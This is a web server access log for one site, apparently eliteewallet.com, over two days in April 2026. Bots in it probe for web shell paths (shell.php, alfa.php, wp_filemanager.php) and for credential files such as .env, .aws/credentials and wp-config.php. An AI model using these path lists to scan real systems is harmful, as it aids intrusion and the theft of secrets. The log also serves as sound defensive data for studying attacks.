- - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 OPR/62.0.3331.119" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Bullet/Assets/dist/w-bullet.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 7.0; es-es; Redmi Note 4 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.141 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.9.7-g" 43.157.20.63 - - [02/Apr/2026:13:03:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/dist/w-arrow-image.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/smartslider-frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46" 201.23.21.229 - - [02/Apr/2026:14:55:13 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 213.202.253.4 - - [02/Apr/2026:10:53:22 +0300] "GET /about.php?action=p&api=p&path=p&token= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 74.248.144.184 - - [02/Apr/2026:13:58:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 85.137.48.167 - - [02/Apr/2026:12:13:23 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/blocksy-companion/static/bundle/sticky.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0" 185.8.106.156 - - [02/Apr/2026:14:06:53 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36" 87.121.84.62 - - [02/Apr/2026:09:56:39 +0300] "GET /public/assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 43.156.232.190 - - [02/Apr/2026:13:46:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/ss-simple.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/smartslider-backgroundanimation.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; VTR-AL00 Build/HUAWEIVTR-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044807 Mobile Safari/537.36 MMWEBID/6475 MicroMessenger/7.0.6.1460(0x27000634) Process/tools NetType/4G Language/zh_CN" 185.8.106.156 - - [02/Apr/2026:14:06:53 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/slider.min.js HTTP/1.1" 301 795 "-" "SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0" 52.178.176.146 - - [02/Apr/2026:15:15:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.35.141 - - [02/Apr/2026:15:49:01 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.63.35.141 - - [02/Apr/2026:15:50:51 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.63.35.141 - - [02/Apr/2026:15:50:51 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.38.16.204 - - [02/Apr/2026:16:12:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.63.35.141 - - [02/Apr/2026:15:49:01 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 74.248.145.211 - - [02/Apr/2026:16:09:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.157.179.227 - - [02/Apr/2026:18:30:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.226.57 - - [02/Apr/2026:17:48:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 17.241.75.245 - - [02/Apr/2026:16:50:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.75.245 - - [02/Apr/2026:16:50:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 45.153.34.235 - - [02/Apr/2026:16:48:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 179.43.159.170 - - [02/Apr/2026:18:05:00 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51.12.92.153 - - [02/Apr/2026:18:26:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 36.41.75.167 - - [02/Apr/2026:16:53:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 38.34.179.31 - - [02/Apr/2026:18:03:18 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 35.186.185.170 - - [02/Apr/2026:19:54:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 151.245.77.8 - - [02/Apr/2026:19:54:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:114.0) Gecko/20100101 Firefox/114.0" 35.225.55.154 - - [02/Apr/2026:20:27:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 138.68.183.187 - - [02/Apr/2026:19:53:25 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 20.63.47.115 - - [02/Apr/2026:20:05:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.47.115 - - [02/Apr/2026:20:05:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 38.145.208.183 - - [02/Apr/2026:20:59:04 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 102.129.223.92 - - [02/Apr/2026:20:57:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 YaBrowser/22.7.0 Yowser/2.5 Safari/537.36" 35.225.55.154 - - [02/Apr/2026:20:58:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 20.63.102.187 - - [02/Apr/2026:21:06:14 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 43.157.174.69 - - [02/Apr/2026:23:21:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.191.45.212 - - [02/Apr/2026:22:54:37 +0300] "GET / HTTP/1.1" 301 795 "-" "DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)" 123.187.240.242 - - [02/Apr/2026:23:20:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.141.205.148 - - [02/Apr/2026:22:11:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 68.183.5.34 - - [02/Apr/2026:21:55:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 2.58.56.116 - - [03/Apr/2026:00:20:01 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.63.47.115 - - [03/Apr/2026:00:23:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /app.js HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /.env HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /info.php HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /config.php HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /docker-compose.yml HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /settings.php HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /config.js HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /.gitconfig HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /application.yml HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /composer.json HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" 20.63.102.187 - - [03/Apr/2026:02:05:23 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.148.10.120 - - [03/Apr/2026:02:24:41 +0300] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3724.8 Safari/537.36" 20.220.232.240 - - [03/Apr/2026:02:47:12 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:49:42 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:49:57 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:51:48 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:53:52 +0300] "GET /wp-x7.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:54:27 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:55:17 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:55:56 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:56:00 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:56:13 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.63.102.187 - - [03/Apr/2026:01:08:22 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.148.10.120 - - [03/Apr/2026:02:24:41 +0300] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; SAMSUNG SM-G975U Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.4 Chrome/67.0.3396.87 Mobile Safari/537.36" 45.148.10.120 - - [03/Apr/2026:02:24:41 +0300] "GET /aws.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" 20.220.232.240 - - [03/Apr/2026:02:47:45 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:52:53 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:54:01 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:54:42 +0300] "GET /an7.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:55:02 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:56:39 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:56:50 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:57:03 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:57:24 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:57:45 +0300] "GET /public/filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:58:48 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:01:43 +0300] "GET /public/manager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:03:01 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:03:29 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:19 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:05:36 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:06:24 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:09:23 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 216.24.210.109 - - [03/Apr/2026:00:16:06 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 2.58.56.116 - - [03/Apr/2026:00:20:00 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.116 - - [03/Apr/2026:00:20:01 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /server.js HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /appsettings.json HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0" 45.148.10.120 - - [03/Apr/2026:02:24:41 +0300] "GET /.env HTTP/1.1" 301 795 "-" "SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1" 158.158.110.103 - - [03/Apr/2026:02:45:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:47:58 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:48:23 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:50:17 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:51:41 +0300] "GET /wfile.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:52:46 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:53:28 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:58:39 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:59:12 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:59:42 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:00:24 +0300] "GET /te.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:00:51 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:01:58 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:03:51 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:25 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:06:55 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:07:24 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:07:30 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:08:46 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:59:27 +0300] "GET /hook.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:01:06 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:01:21 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:58 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:05:50 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:06:31 +0300] "GET /bkxzo.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:07:10 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:08:37 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /.git/config HTTP/1.1" 403 787 "http://eliteewallet.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15" 176.65.132.241 - - [03/Apr/2026:00:50:55 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 20.220.232.240 - - [03/Apr/2026:02:46:52 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:47:03 +0300] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:48:08 +0300] "GET /wolv2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:48:32 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:51:57 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:52:27 +0300] "GET /123.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:52:39 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:53:08 +0300] "GET /33.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:59:00 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:02:13 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:02:28 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:03:24 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:43 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:48 +0300] "GET /xtt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:51 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:05:22 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:05:59 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:07:35 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:07:50 +0300] "GET /v3.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:07:55 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:08:16 +0300] "GET /himu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:10:08 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 167.99.225.252 - - 